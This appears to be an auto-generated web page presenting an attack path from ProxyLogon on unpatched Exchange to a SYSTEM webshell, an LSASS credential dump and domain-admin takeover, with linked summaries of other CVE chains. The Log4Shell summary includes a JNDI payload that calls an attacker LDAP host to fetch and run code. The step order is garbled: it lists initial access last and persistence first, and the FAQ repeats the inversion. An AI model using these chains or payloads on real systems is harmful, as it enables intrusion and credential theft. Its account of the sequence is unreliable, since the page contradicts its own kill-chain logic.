ProxyLogon → webshell on Exchange → DA
Unauth SSRF + auth bypass against on-prem Exchange (CAS) — write a webshell as SYSTEM on the Exchange server, dump LSASS for cached domain creds, pivot to DA.
§ Context
Assumed environment: on-prem Exchange 2013/2016/2019 unpatched for CVE-2021-26855 et al. Internet-exposed OWA or reachable from an internal foothold. Default Exchange machine account has elevated AD rights.
§ Steps
- 01Exchange machine account → WriteDACL on AdminSDHolderPersistenceAD-ADMINSDHOLDER— AdminSDHolder Abuse
- 02DCSync as DACredential AccessT1003.006— DCSync
- 03Identify Exchange versionReconnaissanceW-RECON-FINGERPRINT— Tech Stack Fingerprinting
- 04Drop webshell as SYSTEM on ExchangePersistenceW-WEBSHELL— Webshell Deployment
- 05Dump LSASS for cached credsCredential AccessW-LSASS-PROCDUMP— LSASS via procdump / comsvcs.dll
- 06ProxyLogon SSRF + auth bypassInitial AccessEX-PROXYLOGON— ProxyLogon (CVE-2021-26855)
§ References
- T1003.006DCSync
§ Frequently asked
- What is the "ProxyLogon → webshell on Exchange → DA" attack path?
- Unauth SSRF + auth bypass against on-prem Exchange (CAS) — write a webshell as SYSTEM on the Exchange server, dump LSASS for cached domain creds, pivot to DA. It chains 6 steps drawn from real-world offensive-security techniques.
- What starting position does this attack require?
- The first step is Exchange machine account → WriteDACL on AdminSDHolder (AD-ADMINSDHOLDER) — a persistence primitive. Assumed environment: on-prem Exchange 2013/2016/2019 unpatched for CVE-2021-26855 et al.
- What is the final impact of this kill-chain?
- The final step lands on ProxyLogon SSRF + auth bypass (EX-PROXYLOGON), which falls under Initial Access. From here, an operator typically pivots into post-exploitation or maintains persistence.
- How can defenders detect or prevent this attack?
- Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.
§ Related dossiers
- Shared techniques5
ProxyShell → SYSTEM on Exchange → DA
Pre-auth ProxyShell chain (path confusion + EWS email-to-PowerShell + arbitrary file write) deploys a webshell as SYSTEM. Same post-exploitation as ProxyLogon.
- Shared techniques3
Unpatched Confluence (CVE-2023-22515) → internal foothold
Internal Confluence instance reachable from the corporate VLAN. Trivial privilege-escalation CVE creates an admin user; webshell uploaded; pivot into AD service accounts.
- Shared techniques2
Log4Shell (CVE-2021-44228) → RCE → lateral
Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.
- Shared techniques2
Spring4Shell (CVE-2022-22965) → JSP webshell on Tomcat
Send a crafted POST that uses Spring's data-binding to mutate Tomcat's logging configuration — turn its access log into a JSP file written under webapps/, then request it.
- Shared techniques2
MOVEit Transfer (CVE-2023-34362) → mass data exfil (Cl0p)
Pre-auth SQLi in MOVEit's web UI forges an admin session. .NET deserialisation chain drops a webshell as SYSTEM. Cl0p's 2023 mass-exfil playbook: download every file under /var/files.